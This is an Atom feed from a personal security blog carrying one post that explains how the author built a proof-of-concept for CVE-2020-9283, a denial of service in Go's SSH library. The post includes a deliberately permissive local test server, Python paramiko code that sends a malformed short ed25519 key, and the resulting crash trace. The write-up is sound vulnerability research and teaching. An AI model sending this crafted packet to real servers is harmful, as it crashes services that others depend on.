<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="/feed.xml" rel="self" type="application/atom+xml" /><link href="/" rel="alternate" type="text/html" /><updated>2026-04-28T17:43:21+00:00</updated><id>/feed.xml</id><title type="html">Mark Adams</title><subtitle>A personal blog largely focused on technical topics like application security and software engineering</subtitle><entry><title type="html">Writing a PoC for a Denial of Service in Go’s SSH library (CVE-2020-9283)</title><link href="/security/2020/02/21/writing-a-poc-go-crypto-ssh.html" rel="alternate" type="text/html" title="Writing a PoC for a Denial of Service in Go’s SSH library (CVE-2020-9283)" /><published>2020-02-21T18:44:00+00:00</published><updated>2020-02-21T18:44:00+00:00</updated><id>/security/2020/02/21/writing-a-poc-go-crypto-ssh</id><content type="html" xml:base="/security/2020/02/21/writing-a-poc-go-crypto-ssh.html"><![CDATA[<h1 id="the-vulnerability">The vulnerability</h1>

<p>On February 20th, 2020, the Go team <a href="https://groups.google.com/g/golang-announce/c/3L45YRc91SY">announced</a> a new denial-of-service vulnerability had been patched in the <a href="https://github.com/golang/crypto">golang/x/crypto</a> library:</p>

<blockquote>
  <p>Version v0.0.0-20200220183623-bac4c82f6975 of golang.org/x/crypto fixes a vulnerability in the golang.org/x/crypto/ssh package which allowed peers to cause a panic in SSH servers that accept public keys and in any SSH client.</p>

  <p>An attacker can craft an ssh-ed25519 or sk-ssh-…@openssh.com public key, such that the library will panic when trying to verify a signature with it. Clients can deliver such a public key and signature to any golang.org/x/crypto/ssh server with a PublicKeyCallback, and servers can deliver them to any golang.org/x/crypto/ssh client.</p>

  <p>This issue was discovered and reported by Alex Gaynor, Fish in a Barrel, and is tracked as CVE-2020-9283.</p>
</blockquote>

<p>This issue seemed super interesting to me since I’ve spent a good amount of time hacking away at Go-based SSH servers during my career so I decided to take a stab at reverse engineering the patch to see if I could construct a working proof-of-concept (PoC) script for the vulnerability.</p>

<h1 id="the-fix">The fix</h1>

<p>As mentioned in the initial announcement, the commit that fixed the issue was <a href="https://github.com/golang/crypto/commit/bac4c82f69751a6dd76e702d54b3ceb88adab236">bac4c82f6975</a> so I started my search there. As it turns out the changeset was pretty small (only 23 lines were changed; all in the same file).</p>

<p>Most of the changes centered around checking the length of an ed25519 keys to ensure that the provided key’s length was equal to the expected length for an ed25519 key (32 bytes). That seems to indicate that the way to cause a panic is simply to send a SSH public key that is shorter than 32 bytes. That sounds like something that shouldn’t be too hard to do.</p>

<h1 id="building-a-test-environment">Building a test environment</h1>

<p>In order to test the PoC, I needed to build an SSH server using the vulnerable version of the library. This was actually pretty simple thanks to golang.org/x/crypto/ssh.</p>

<figure class="highlight"><pre><code class="language-go" data-lang="go"><span class="k">package</span> <span class="n">main</span>

<span class="k">import</span> <span class="p">(</span>
	<span class="s">"log"</span>
	<span class="s">"net"</span>

	<span class="s">"golang.org/x/crypto/ssh"</span>
<span class="p">)</span>

<span class="c">// static host key (don't use in production)</span>
<span class="k">var</span> <span class="n">hostKey</span> <span class="o">=</span> <span class="p">[]</span><span class="kt">byte</span><span class="p">(</span><span class="s">`
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----
`</span><span class="p">)</span>

<span class="k">func</span> <span class="n">handleConnection</span><span class="p">(</span><span class="n">nConn</span> <span class="n">net</span><span class="o">.</span><span class="n">Conn</span><span class="p">,</span> <span class="n">config</span> <span class="o">*</span><span class="n">ssh</span><span class="o">.</span><span class="n">ServerConfig</span><span class="p">)</span> <span class="p">{</span>
	<span class="n">conn</span><span class="p">,</span> <span class="n">chans</span><span class="p">,</span> <span class="n">reqs</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">ssh</span><span class="o">.</span><span class="n">NewServerConn</span><span class="p">(</span><span class="n">nConn</span><span class="p">,</span> <span class="n">config</span><span class="p">)</span>
	<span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
		<span class="n">log</span><span class="o">.</span><span class="n">Printf</span><span class="p">(</span><span class="s">"failed to handshake: %s"</span><span class="p">,</span> <span class="n">err</span><span class="p">)</span>
		<span class="k">return</span>
	<span class="p">}</span>
	<span class="k">defer</span> <span class="n">conn</span><span class="o">.</span><span class="n">Close</span><span class="p">()</span>
	<span class="n">log</span><span class="o">.</span><span class="n">Printf</span><span class="p">(</span><span class="s">"user authenticated successfully from %s"</span><span class="p">,</span> <span class="n">nConn</span><span class="o">.</span><span class="n">RemoteAddr</span><span class="p">()</span><span class="o">.</span><span class="n">String</span><span class="p">())</span>

	<span class="k">go</span> <span class="n">ssh</span><span class="o">.</span><span class="n">DiscardRequests</span><span class="p">(</span><span class="n">reqs</span><span class="p">)</span>

	<span class="k">for</span> <span class="n">newChannel</span> <span class="o">:=</span> <span class="k">range</span> <span class="n">chans</span> <span class="p">{</span>
		<span class="k">if</span> <span class="n">newChannel</span><span class="o">.</span><span class="n">ChannelType</span><span class="p">()</span> <span class="o">!=</span> <span class="s">"session"</span> <span class="p">{</span>
			<span class="n">newChannel</span><span class="o">.</span><span class="n">Reject</span><span class="p">(</span><span class="n">ssh</span><span class="o">.</span><span class="n">UnknownChannelType</span><span class="p">,</span> <span class="s">"unknown channel type"</span><span class="p">)</span>
			<span class="k">continue</span>
		<span class="p">}</span>
		<span class="n">channel</span><span class="p">,</span> <span class="n">_</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">newChannel</span><span class="o">.</span><span class="n">Accept</span><span class="p">()</span>
		<span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
			<span class="n">log</span><span class="o">.</span><span class="n">Printf</span><span class="p">(</span><span class="s">"Could not accept channel: %v"</span><span class="p">,</span> <span class="n">err</span><span class="p">)</span>
			<span class="k">continue</span>
		<span class="p">}</span>

		<span class="n">channel</span><span class="o">.</span><span class="n">Close</span><span class="p">()</span>
	<span class="p">}</span>
<span class="p">}</span>

<span class="k">func</span> <span class="n">main</span><span class="p">()</span> <span class="p">{</span>
	<span class="n">config</span> <span class="o">:=</span> <span class="o">&amp;</span><span class="n">ssh</span><span class="o">.</span><span class="n">ServerConfig</span><span class="p">{</span>
		<span class="n">PublicKeyCallback</span><span class="o">:</span> <span class="k">func</span><span class="p">(</span><span class="n">conn</span> <span class="n">ssh</span><span class="o">.</span><span class="n">ConnMetadata</span><span class="p">,</span> <span class="n">key</span> <span class="n">ssh</span><span class="o">.</span><span class="n">PublicKey</span><span class="p">)</span> <span class="p">(</span><span class="o">*</span><span class="n">ssh</span><span class="o">.</span><span class="n">Permissions</span><span class="p">,</span> <span class="kt">error</span><span class="p">)</span> <span class="p">{</span>
			<span class="c">// every public key is accepted (not for production use)</span>
			<span class="k">return</span> <span class="no">nil</span><span class="p">,</span> <span class="no">nil</span>
		<span class="p">},</span>
	<span class="p">}</span>

	<span class="n">private</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">ssh</span><span class="o">.</span><span class="n">ParsePrivateKey</span><span class="p">(</span><span class="n">hostKey</span><span class="p">)</span>
	<span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
		<span class="n">log</span><span class="o">.</span><span class="n">Fatal</span><span class="p">(</span><span class="s">"Failed to parse host private key: "</span><span class="p">,</span> <span class="n">err</span><span class="p">)</span>
	<span class="p">}</span>

	<span class="n">config</span><span class="o">.</span><span class="n">AddHostKey</span><span class="p">(</span><span class="n">private</span><span class="p">)</span>

	<span class="n">log</span><span class="o">.</span><span class="n">Printf</span><span class="p">(</span><span class="s">"Vulnerable SSH server running on 0.0.0.0:2022"</span><span class="p">)</span>
	<span class="n">listener</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">net</span><span class="o">.</span><span class="n">Listen</span><span class="p">(</span><span class="s">"tcp"</span><span class="p">,</span> <span class="s">"0.0.0.0:2022"</span><span class="p">)</span>
	<span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
		<span class="n">log</span><span class="o">.</span><span class="n">Fatal</span><span class="p">(</span><span class="s">"failed to listen for connection: "</span><span class="p">,</span> <span class="n">err</span><span class="p">)</span>
	<span class="p">}</span>
	<span class="k">for</span> <span class="p">{</span>
		<span class="n">nConn</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">listener</span><span class="o">.</span><span class="n">Accept</span><span class="p">()</span>
		<span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
			<span class="n">log</span><span class="o">.</span><span class="n">Fatal</span><span class="p">(</span><span class="s">"failed to accept incoming connection: "</span><span class="p">,</span> <span class="n">err</span><span class="p">)</span>
		<span class="p">}</span>

		<span class="k">go</span> <span class="n">handleConnection</span><span class="p">(</span><span class="n">nConn</span><span class="p">,</span> <span class="n">config</span><span class="p">)</span>
	<span class="p">}</span>
<span class="p">}</span></code></pre></figure>

<p>All this server does is listen for SSH connections on port 2022 using public key authentication. For our purposes, we don’t really care about the value of the key so we simply set PublicKeyCallback to return <code class="language-plaintext highlighter-rouge">nil</code> to blindly accept any key that we’re given. <code class="language-plaintext highlighter-rouge">PublicKeyCallback</code>’s second argument is <code class="language-plaintext highlighter-rouge">ssh.PublicKey</code> so its likely we will have already triggered our <code class="language-plaintext highlighter-rouge">panic</code> by this point anyways since that would require parsing the key and possibly validating the signature.</p>

<p>In order to ensure we’re running the vulnerable version of <code class="language-plaintext highlighter-rouge">golang.org/x/crypto</code>, we also need to include a <code class="language-plaintext highlighter-rouge">go.mod</code> file that pins the library at the appropriate version:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>module github.com/mark-adams/exploits/CVE-2020-9283/target-vulnerable

go 1.13

require golang.org/x/crypto v0.0.0-20200219234226-1ad67e1f0ef4
</code></pre></div></div>

<p>Now we can run a quick test to make sure we have a working SSH server:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ go run .
2020/12/15 10:37:22 Vulnerable SSH server running on 0.0.0.0:2022
</code></pre></div></div>

<p>and now we generate a test public key and trigger an example connection:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ssh-keygen -b 2048 -t rsa -f testkey -q -N ""
$ ssh localhost -i testkey -p 2022
Connection to localhost closed.
</code></pre></div></div>

<p>and if we look back at our server logs, we see:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>2020/12/15 10:40:17 user authenticated successfully from [::1]:51537
</code></pre></div></div>

<p>Neat. It looks like we have a working SSH server. 🎉</p>

<h1 id="the-ssh-protocol">The SSH Protocol</h1>

<p>The SSH protocol is defined in a bunch of different IETF RFCs. In our case the two primary ones that we are interested in are:</p>

<ul>
  <li>RFC 4253: The Secure Shell (SSH) Transport Layer Protocol; and</li>
  <li>RFC 4252: The Secure Shell (SSH) Authentication Protocol</li>
</ul>

<p>As informative as reading the RFCs can be, it is often more useful to simply look at verbose output from a sample connection and see what we can learn from that. To get the sort of verbosity we’re looking for, running a command like <code class="language-plaintext highlighter-rouge">$ ssh localhost -i testkey -p 2022 -vvv</code> should suffice.</p>

<p>Doing so gives us some insight into how the SSH protocol is put together.</p>

<h2 id="key-exchange">Key Exchange</h2>
<p>One of the first things we see in the output is</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>debug3: send packet: type 20
debug1: SSH2_MSG_KEXINIT sent
debug3: receive packet: type 20
debug1: SSH2_MSG_KEXINIT received
</code></pre></div></div>

<p>These SSH_MSG_KEXINIT messages being exchanged between the client and server (described in <a href="https://tools.ietf.org/html/rfc4253#section-7.1">RFC 4253 7.1</a>) kick off the key exchange process and help the client and server agree on which algorithms make sense for conducting the rest of the handshake.</p>

<p>Next up, we see a couple other messages:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>debug3: send packet: type 30
debug1: expecting SSH2_MSG_KEX_ECDH_REPLY
debug3: receive packet: type 31
</code></pre></div></div>

<p>These messages are part of the key exchange process and help the server and client establish a shared secret with each other. These are defined in <a href="https://tools.ietf.org/html/rfc5656#section-7.1">RFC 5656 7.1</a>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>debug3: send packet: type 21
debug2: set_newkeys: mode 1
debug1: rekey out after 134217728 blocks
debug1: SSH2_MSG_NEWKEYS sent
debug1: expecting SSH2_MSG_NEWKEYS
debug3: receive packet: type 21
debug1: SSH2_MSG_NEWKEYS received
debug2: set_newkeys: mode 0
debug1: rekey in after 134217728 blocks
</code></pre></div></div>

<p>These messages wrap up the key exchange process and are defined in <a href="https://www.ietf.org/rfc/rfc4253.html#section-7.3">RFC 4253 7.3</a>.</p>

<h2 id="user-authentication">User Authentication</h2>

<p>As interesting as key exchange is, we are looking for the point in the handshake where we send our public key to the server so we can replace it with a specially crafted key designed to cause the panic.</p>

<p>Next up in the logs, we see something more interesting:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>debug1: Will attempt key: testkey RSA SHA256:C1kVTeLCnNvKTX1Jl9UUKrJ5D1leqZRC6LgKnyzxPxE explicit
debug2: pubkey_prepare: done
debug3: send packet: type 5
debug3: receive packet: type 6
debug2: service_accept: ssh-userauth
debug1: SSH2_MSG_SERVICE_ACCEPT received
debug3: send packet: type 50
debug3: receive packet: type 51
debug1: Authentications that can continue: publickey
debug3: start over, passed a different list publickey
debug3: preferred publickey,keyboard-interactive,password
debug3: authmethod_lookup publickey
debug3: remaining preferred: keyboard-interactive,password
debug3: authmethod_is_enabled publickey
debug1: Next authentication method: publickey
debug1: Offering public key: testkey RSA SHA256:C1kVTeLCnNvKTX1Jl9UUKrJ5D1leqZRC6LgKnyzxPxE explicit
debug3: send packet: type 50
debug2: we sent a publickey packet, wait for reply
debug3: receive packet: type 60
debug1: Server accepts key: testkey RSA SHA256:C1kVTeLCnNvKTX1Jl9UUKrJ5D1leqZRC6LgKnyzxPxE explicit
debug3: sign_and_send_pubkey: RSA SHA256:C1kVTeLCnNvKTX1Jl9UUKrJ5D1leqZRC6LgKnyzxPxE
debug3: sign_and_send_pubkey: signing using ssh-rsa
debug3: send packet: type 50
debug3: receive packet: type 52
debug1: Authentication succeeded (publickey).
</code></pre></div></div>

<p>You see a couple things happening here:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">send packet: type 5</code> (SSH_MSG_SERVICE_REQUEST) is sent by the client</li>
  <li><code class="language-plaintext highlighter-rouge">receive packet: type 6</code> (SSH_MSG_SERVICE_ACCEPT) is received by the client</li>
  <li><code class="language-plaintext highlighter-rouge">service_accept: ssh-userauth</code></li>
</ul>

<p>These entries in our output indicate that we’ve now entered the user authentication phase of the handshake.</p>

<p>Now we see:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">send packet: type 50</code> (SSH_MSG_USERAUTH_REQUEST)</li>
  <li><code class="language-plaintext highlighter-rouge">receive packet: type 51</code> (SSH_MSG_USERAUTH_FAILURE)</li>
  <li><code class="language-plaintext highlighter-rouge">Authentications that can continue: publickey</code></li>
</ul>

<p>These messages are defined in <a href="https://tools.ietf.org/html/rfc4252#section-5">RFC 4252</a> and allow the SSH client to determine which authentication methods are valid for the specified user on the remote server. The <code class="language-plaintext highlighter-rouge">SSH_MSG_USERAUTH_FAILURE</code> message includes a list of those fields in it’s response so that the client only needs to try authentication methods that are valid for the specified user.</p>

<p>Next up we see:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">send packet: type 50</code> (SSH_MSG_USERAUTH_REQUEST) is sent by the client</li>
  <li><code class="language-plaintext highlighter-rouge">receive packet: type 60</code> (SSH_MSG_USERAUTH_PK_OK) is sent by the server</li>
  <li><code class="language-plaintext highlighter-rouge">Server accepts key: ...</code></li>
</ul>

<p>Wow! A lot of exciting stuff happened there that looks pretty interesting for those of us looking to send a maliciously crafted public key to a remote server. Let’s dive in!</p>

<p>We can infer from the server’s reply with an <code class="language-plaintext highlighter-rouge">SSH_MSG_USERAUTH_PK_OK</code> message that the <code class="language-plaintext highlighter-rouge">SSH_MSG_USERAUTH_REQUEST</code> was the client’s attempt to send the username of the user and the user’s public key to the server to see if the server will accept it. The server’s reply is the server’s way of saying “Yes, I will accept that key for authenticating that user if you can prove you have the private key”.</p>

<p>The next <code class="language-plaintext highlighter-rouge">SSH_MSG_USERAUTH_REQUEST</code> sent by the client is actually very similar to the first one except the end of the message also contains a signature performed on a set of connection-related information which proves the client actually possesses the private key. The method for constructing these messages and the corresponding signature are detailed in <a href="https://www.ietf.org/rfc/rfc4252.html#section-7">RFC 4252 Section 7</a>.</p>

<p>Since the server possesses the same information that was signed by the client, it is able to use the public key to decrypt the signature from the second <code class="language-plaintext highlighter-rouge">SSH_MSG_USERAUTH_REQUEST</code> message to validate that the client possesses the public key.</p>

<p>This is actually the breakthrough that we’ve been looking for. At this stage in the handshake, the server has taken the public key provided by the client, parsed it, and is actually attempting to use it to validate the signature sent by the client.</p>

<h1 id="setting-up-a-connection">Setting up a connection</h1>

<p>There are a couple different ways to go about creating an SSH connection and getting us to the stage where we could send our malicious public key to the server.</p>

<p>Using most existing SSH frameworks (like <code class="language-plaintext highlighter-rouge">golang.org/x/crypto/ssh</code>) likely won’t work well since these libraries are an abstraction over the underlying protocol and don’t give us the ability to send raw <code class="language-plaintext highlighter-rouge">SSH_MSG_USERAUTH_REQUEST</code> messages when we need to.</p>

<p>We could write our own SSH handshake implementation but that seems like a lot of work that it would be nice to avoid if we can.</p>

<p>Luckily for us, there is a reasonable compromise. The <a href="https://www.paramiko.org/">paramiko</a> Python library provides a nice balance between handling some of the messy parts for us (like key exchange) while also letting us send raw SSH packets when we need to.</p>

<p>Installing <code class="language-plaintext highlighter-rouge">paramiko</code> is easy and just involves a simple <code class="language-plaintext highlighter-rouge">pip install paramiko</code>. Once that is out of the way, we can construct a simple SSH client script:</p>

<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="nn">socket</span>
<span class="kn">import</span> <span class="nn">paramiko</span>

<span class="n">sock</span> <span class="o">=</span> <span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="p">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span>
<span class="n">sock</span><span class="p">.</span><span class="n">connect</span><span class="p">((</span><span class="n">host</span><span class="p">,</span> <span class="n">port</span><span class="p">))</span>

<span class="n">t</span> <span class="o">=</span> <span class="n">paramiko</span><span class="p">.</span><span class="n">Transport</span><span class="p">(</span><span class="n">sock</span><span class="p">)</span>
<span class="n">t</span><span class="p">.</span><span class="n">start_client</span><span class="p">()</span></code></pre></figure>

<p>In the first part of our script, we open a TCP socket to the host / port of our SSH server. We then pass that socket to a new <code class="language-plaintext highlighter-rouge">paramiko.Transport</code> instance and call the <code class="language-plaintext highlighter-rouge">start_client()</code> method. This triggers the first part of the SSH handshake (Key Exchange) detailed earlier in this post. This will put us in a perfect spot for us to proceed with the next phase (user authentication) and send our malicious key.</p>

<h1 id="authenticating-with-paramiko">Authenticating with Paramiko</h1>

<p>Before we can send a malicious SSH key, we need to find how to send arbitrary SSH protocol messages with <code class="language-plaintext highlighter-rouge">paramiko</code>. Luckily, <code class="language-plaintext highlighter-rouge">paramiko</code> has a <code class="language-plaintext highlighter-rouge">paramiko.Message</code> class perfect for constructing SSH protocol messages and the <code class="language-plaintext highlighter-rouge">paramiko.Transport</code> has a <code class="language-plaintext highlighter-rouge">._send_message()</code> method which will drop that message onto the socket.</p>

<p>Now we can construct a slightly simplified version of the authentication flow to skip quickly to the part where we get the server to parse our key:</p>

<ol>
  <li>Send a <code class="language-plaintext highlighter-rouge">SSH_MSG_SERVICE_REQUEST</code> asking for <code class="language-plaintext highlighter-rouge">ssh-userauth</code> service</li>
  <li>Send a <code class="language-plaintext highlighter-rouge">SSH_MSG_USERAUTH_REQUEST</code> message including our malicious public key and signature.</li>
</ol>

<p>We’re able to skip a couple of steps here for a number of reasons:</p>
<ul>
  <li>We don’t have to wait for the server to reply to our <code class="language-plaintext highlighter-rouge">SSH_MSG_SERVICE_REQUEST</code> because this is a proof of concept and the server will likely reply with <code class="language-plaintext highlighter-rouge">SSH_MSG_USERAUTH_FAILURE</code> anyways.</li>
  <li>We don’t have to send the initial <code class="language-plaintext highlighter-rouge">SSH_MSG_USERAUTH_REQUEST</code> containing the public key but no signature because our proof-of-concept script is barebones and we don’t really care about telling the person running the script that the remote user doesn’t exist. Plus, for our test server, it accepts all users so we know we will succeed no matter what.</li>
</ul>

<p>To construct the <code class="language-plaintext highlighter-rouge">SSH_MSG_SERVICE_REQUEST</code>, we just take a look at <a href="https://tools.ietf.org/html/rfc4253#section-10">RFC 4253</a> and mirror that in our Python code. The spec from the RFC looks like this:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>byte      SSH_MSG_SERVICE_REQUEST
string    service name
</code></pre></div></div>

<p>and the corresponding Python code looks like this:</p>

<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="n">t</span><span class="p">.</span><span class="n">lock</span><span class="p">.</span><span class="n">acquire</span><span class="p">()</span>
<span class="n">m</span> <span class="o">=</span> <span class="n">paramiko</span><span class="p">.</span><span class="n">Message</span><span class="p">()</span>
<span class="n">m</span><span class="p">.</span><span class="n">add_byte</span><span class="p">(</span><span class="n">cMSG_SERVICE_REQUEST</span><span class="p">)</span>
<span class="n">m</span><span class="p">.</span><span class="n">add_string</span><span class="p">(</span><span class="s">"ssh-userauth"</span><span class="p">)</span>
<span class="n">t</span><span class="p">.</span><span class="n">_send_message</span><span class="p">(</span><span class="n">m</span><span class="p">)</span></code></pre></figure>

<p>Next, we will focus on sending the <code class="language-plaintext highlighter-rouge">SSH_MSG_USERAUTH_REQUEST</code> containing our malicious public key. These messages are specific to the authentication method that you want to use (in this case <code class="language-plaintext highlighter-rouge">publickey</code>) and are defined in <a href="https://tools.ietf.org/html/rfc4252#section-7">RFC 4252</a>. Once again, you’ll notice that the spec for these messages is pretty similar to the code that we’re writing in Python. The RFC defines the message structure as:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>byte      SSH_MSG_USERAUTH_REQUEST
string    user name
string    service name
string    "publickey"
boolean   TRUE
string    public key algorithm name
string    public key to be used for authentication
string    signature
</code></pre></div></div>

<p>and our Python code looks like this:</p>

<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="n">m</span> <span class="o">=</span> <span class="n">paramiko</span><span class="p">.</span><span class="n">Message</span><span class="p">()</span>
<span class="n">m</span><span class="p">.</span><span class="n">add_byte</span><span class="p">(</span><span class="n">cMSG_USERAUTH_REQUEST</span><span class="p">)</span>
<span class="n">m</span><span class="p">.</span><span class="n">add_string</span><span class="p">(</span><span class="n">user</span><span class="p">)</span>
<span class="n">m</span><span class="p">.</span><span class="n">add_string</span><span class="p">(</span><span class="s">"ssh-connection"</span><span class="p">)</span>
<span class="n">m</span><span class="p">.</span><span class="n">add_string</span><span class="p">(</span><span class="s">'publickey'</span><span class="p">)</span>
<span class="n">m</span><span class="p">.</span><span class="n">add_boolean</span><span class="p">(</span><span class="bp">True</span><span class="p">)</span>
<span class="n">m</span><span class="p">.</span><span class="n">add_string</span><span class="p">(</span><span class="s">'ssh-ed25519'</span><span class="p">)</span></code></pre></figure>

<p>The astute reader will note that we are missing the public key itself and the signature from our message that we are constructing. That is the next thing we are going to tackle.</p>

<h1 id="sending-the-malicious-key">Sending the malicious key</h1>

<p>Once again, some quick Googling tells us that the SSH public key format for ed25519 keys is defined by <a href="https://www.ietf.org/rfc/rfc8709.html#section-6">RFC 8709</a> and has the following format:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>string  "ssh-ed25519"
string  key
</code></pre></div></div>

<p>That’s pretty straightforward. We know that ed25519 keys are expected to have a <code class="language-plaintext highlighter-rouge">key</code> that is 32 bytes long. For this attack, we simply want to ensure that <code class="language-plaintext highlighter-rouge">key</code> is less than 32 bytes long. We can do that with the following Python:</p>

<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="n">key</span> <span class="o">=</span> <span class="n">paramiko</span><span class="p">.</span><span class="n">Message</span><span class="p">()</span>
<span class="n">key</span><span class="p">.</span><span class="n">add_string</span><span class="p">(</span><span class="s">'ssh-ed25519'</span><span class="p">)</span>
<span class="n">key</span><span class="p">.</span><span class="n">add_string</span><span class="p">(</span><span class="s">'key-that-is-too-short'</span><span class="p">)</span>
<span class="n">m</span><span class="p">.</span><span class="n">add_string</span><span class="p">(</span><span class="n">key</span><span class="p">.</span><span class="n">__str__</span><span class="p">())</span></code></pre></figure>

<p>Take notice that <code class="language-plaintext highlighter-rouge">key-that-is-too-short</code> is 21 bytes long and 21 &lt; 32 which meets our requirement for the key being too short.</p>

<p>The final part of constructing our payload is to add the <code class="language-plaintext highlighter-rouge">signature</code> required at the end of the message. Luckily for , we’re trying to get the server to <code class="language-plaintext highlighter-rouge">panic</code> while verifying the signature so we don’t actually need the signature to validate. In fact, we can even put in an empty string if we want and that’s exactly what we’re going to do:</p>

<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="n">sig</span> <span class="o">=</span> <span class="n">paramiko</span><span class="p">.</span><span class="n">Message</span><span class="p">()</span>
<span class="n">sig</span><span class="p">.</span><span class="n">add_string</span><span class="p">(</span><span class="s">'ssh-ed25519'</span><span class="p">)</span>
<span class="n">sig</span><span class="p">.</span><span class="n">add_string</span><span class="p">(</span><span class="s">''</span><span class="p">)</span>
<span class="n">m</span><span class="p">.</span><span class="n">add_string</span><span class="p">(</span><span class="n">sig</span><span class="p">.</span><span class="n">__str__</span><span class="p">())</span></code></pre></figure>

<p>Now that we’ve composed our completed <code class="language-plaintext highlighter-rouge">SSH_MSG_USERAUTH_REQUEST</code> message we can go ahead and send it to trigger the <code class="language-plaintext highlighter-rouge">panic</code> and crash the server:</p>

<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="n">t</span><span class="p">.</span><span class="n">_send_message</span><span class="p">(</span><span class="n">m</span><span class="p">)</span></code></pre></figure>

<h1 id="did-it-work">Did it work?</h1>

<p>At this point, we can run back over and check our vulnerable server and see if our attack worked.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>panic: ed25519: bad public key length: 21

goroutine 64 [running]:
crypto/ed25519.Verify(0xc000026ccf, 0x15, 0x2c, 0xc00000b600, 0x88, 0x100, 0xc000026cf7, 0x0, 0x0, 0x20)
        /usr/local/go/src/crypto/ed25519/ed25519.go:205 +0x477
golang.org/x/crypto/ed25519.Verify(...)
        /Users/User/dev/go/pkg/mod/golang.org/x/crypto@v0.0.0-20200219234226-1ad67e1f0ef4/ed25519/ed25519_go113.go:72
golang.org/x/crypto/ssh.ed25519PublicKey.Verify(0xc000026ccf, 0x15, 0x2c, 0xc00000b600, 0x88, 0x100, 0xc000072f80, 0x28, 0x3f)
        /Users/User/dev/go/pkg/mod/golang.org/x/crypto@v0.0.0-20200219234226-1ad67e1f0ef4/ssh/keys.go:587 +0x19d
golang.org/x/crypto/ssh.(*connection).serverAuthenticate(0xc000139500, 0xc00010b6c0, 0x11, 0x40, 0x0)
        /Users/User/dev/go/pkg/mod/golang.org/x/crypto@v0.0.0-20200219234226-1ad67e1f0ef4/ssh/server.go:567 +0x1624
golang.org/x/crypto/ssh.(*connection).serverHandshake(0xc000139500, 0xc00010b6c0, 0x12185fb, 0x1b, 0x13919c0)
        /Users/User/dev/go/pkg/mod/golang.org/x/crypto@v0.0.0-20200219234226-1ad67e1f0ef4/ssh/server.go:277 +0x5e7
golang.org/x/crypto/ssh.NewServerConn(0x12531e0, 0xc0000100c8, 0xc00010b040, 0x0, 0x0, 0x0, 0x0, 0x0)
        /Users/User/dev/go/pkg/mod/golang.org/x/crypto@v0.0.0-20200219234226-1ad67e1f0ef4/ssh/server.go:206 +0x18e
main.handleConnection(0x12531e0, 0xc0000100c8, 0xc00010b040)
        /Users/User/dev/exploits/CVE-2020-9283/target-vulnerable/main.go:42 +0x6a
created by main.main
        /Users/User/dev/exploits/CVE-2020-9283/target-vulnerable/main.go:93 +0x245
exit status 2
</code></pre></div></div>

<p>and sure enough, it worked! 🏆</p>

<h1 id="the-fix-explained">The fix explained</h1>

<p>Interestingly, the <code class="language-plaintext highlighter-rouge">panic</code> is actually caused <a href="https://github.com/golang/crypto/blob/master/ed25519/ed25519.go#L180-L182">by validation logic</a> in golang.org/x/crypto/ed25519 that checks to see if the key bytes are the proper length when <code class="language-plaintext highlighter-rouge">Verify()</code> is called.</p>

<p>The fix is actually pretty straightforward. The same validation logic is duplicated in golang.org/x/crypto/ssh such that the key length is checked prior to calling <code class="language-plaintext highlighter-rouge">ed25519.Verify()</code> and an error is returned instead of triggering the <code class="language-plaintext highlighter-rouge">panic</code> later on in the process.</p>

<h1 id="thats-all-folks">That’s all folks!</h1>

<p>Thanks for taking the time to walkthrough this vulnerability with me and construct a working proof-of-concept. If you’d like to see the whole thing, you can view it on GitHub here:</p>

<p><a href="https://github.com/mark-adams/exploits/tree/master/CVE-2020-9283">https://github.com/mark-adams/exploits/tree/master/CVE-2020-9283</a></p>]]></content><author><name></name></author><category term="security" /><summary type="html"><![CDATA[The vulnerability]]></summary></entry></feed>